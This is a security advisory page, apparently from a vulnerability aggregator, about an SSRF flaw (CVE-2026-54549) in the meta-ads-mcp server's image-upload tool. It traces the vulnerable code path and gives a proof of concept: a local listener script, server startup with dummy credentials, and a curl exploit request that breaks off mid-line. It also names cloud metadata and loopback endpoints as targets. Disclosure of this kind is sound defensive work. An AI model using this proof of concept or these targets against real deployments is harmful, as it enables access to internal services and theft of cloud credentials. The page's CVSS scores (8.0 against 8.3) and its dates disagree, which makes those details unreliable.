🛡️ CVE-2026-54549 — meta-ads-mcp

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-918 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

meta-ads-mcp: Server-Side Request Forgery (SSRF) in upload_ad_image via Unrestricted image_url Fetch

Server-Side Request Forgery (SSRF) in upload_ad_image via Unrestricted image_url Fetch

Summary

The upload_ad_image MCP tool in meta-ads-mcp v1.0.113 passes an attacker-controlled image_url parameter directly to an HTTP fetch helper (httpx.AsyncClient(follow_redirects=True).get(url)) without any scheme, host, or IP address validation. When the server is deployed with the streamable-http transport (a documented, officially supported mode), an unauthenticated remote attacker can supply an arbitrary URL—including http://127.0.0.1/, RFC 1918 addresses, or cloud metadata endpoints such as http://169.254.169.254/—and cause the server to issue an outbound HTTP request to that target. The Authorization middleware only verifies that a non-empty Bearer token is present; actual Meta API credential validation occurs *after* the image download, so any dummy Bearer token bypasses the pre-fetch check. This constitutes a full, unauthenticated Server-Side Request Forgery with a confirmed CVSS 3.1 Base Score of 8.3 (High).

Details

Source

meta_ads_mcp/core/ads.py, line 1316–1322: The MCP tool upload_ad_image is registered with @mcp_server.tool() and exposes image_url: Optional[str] as a direct tool argument that is fully attacker-controlled over the network.

```python

# meta_ads_mcp/core/ads.py

1316: @mcp_server.tool()

1318: async def upload_ad_image(

1322: image_url: Optional[str] = None,

```

Propagation

meta_ads_mcp/core/ads.py, line 1389: The value is forwarded to try_multiple_download_methods(image_url) without any sanitization or validation.

```python

# meta_ads_mcp/core/ads.py

1389: image_bytes = await try_multiple_download_methods(image_url)

```

Sinks

meta_ads_mcp/core/utils.py contains three independent HTTP fetch paths, all using httpx.AsyncClient with follow_redirects=True and no URL, host, or IP validation:

```python

# meta_ads_mcp/core/utils.py

166: async with httpx.AsyncClient(follow_redirects=True, timeout=30.0) as client:

168: response = await client.get(url, headers=headers)

214: async with httpx.AsyncClient(follow_redirects=True) as client:

215: response = await client.get(url, headers=headers, timeout=30.0)

224: async with httpx.AsyncClient(follow_redirects=True) as client:

228: response = await client.get(url, timeout=30.0)

```

Authorization bypass

meta_ads_mcp/core/http_auth_integration.py, lines 78–82: The middleware extracts any non-empty Bearer token value and places it into request context without validating it against Meta's API. The actual Meta OAuth token check (in meta_ads_mcp/core/api.py:415) occurs only after the image download completes, meaning the SSRF sink fires before any meaningful credential verification.

Absence of sanitization

A search for urlparse, urlsplit, ipaddress, localhost, 127.0.0.1, 169.254, private, allowlist, blocklist, or is_global in meta_ads_mcp/core/ads.py and meta_ads_mcp/core/utils.py returns no matches. No URL, scheme, hostname, or IP validation is present anywhere in the fetch path.

Transport exposure

meta_ads_mcp/core/server.py, line 219: The --transport streamable-http mode is a documented, officially supported deployment option (not a development-only stub), meaning the attack surface is reachable over the network in production deployments.

PoC

Environment setup

```bash

# Build and run the Docker image (includes vulnerable meta-ads-mcp v1.0.113 and poc.py)

docker build -f vuln-001/Dockerfile \

-t meta-ads-ssrf-poc \

reports/pypiAi_615_pipeboard-co__meta-ads-mcp/

docker run --rm meta-ads-ssrf-poc

# Exit code 0 = SSRF confirmed

```

Manual reproduction (two terminals)

```bash

# Terminal 1 — SSRF capture listener on port 9009

python3 - <<'PY'

from http.server import BaseHTTPRequestHandler, HTTPServer

class H(BaseHTTPRequestHandler):

def do_GET(self):

print("SSRF GET", self.path, flush=True)

body = b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xd9"

self.send_response(200)

self.send_header("Content-Type", "image/jpeg")

self.send_header("Content-Length", str(len(body)))

self.end_headers()

self.wfile.write(body)

HTTPServer(("127.0.0.1", 9009), H).serve_forever()

PY

# Terminal 2 — start the vulnerable MCP server

META_APP_ID=dummy META_APP_SECRET=dummy \

python3 -m meta_ads_mcp --transport streamable-http --host 0.0.0.0 --port 8080

```

Exploit request

```bash

# 1. Initialize MCP session

curl -sS -X POST http://127.0.0.1:8080/mcp \

-H "Content-Type: application/json" \

-H "Accept: application/json, text/event-stream" \

-H "Authorization: Bearer dummy-token" \

-d '{"jsonrpc":"2.0","method":"initialize","id":0,"params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"n

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity low, availability low.

Weakness class

CVE-2026-54549 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.

Affected software

CVE-2026-54549 is recorded against 1 package.

  • meta-ads-mcp (fixed in 1.0.115)

Timeline and source

Published on 17 July 2026 and last revised on 23 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
CWE CWE-918
Public Exploit ✅ No
Source OSV
Published 2026-07-17
Updated 2026-08-12
Modified 2026-07-23
Fix URL N/A

Affected Packages

Software From version Fixed in
meta-ads-mcp 1.0.115

Similar Threats

Site Security Check

Is meta-ads-mcp part of your stack?

CVE-2026-54549 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.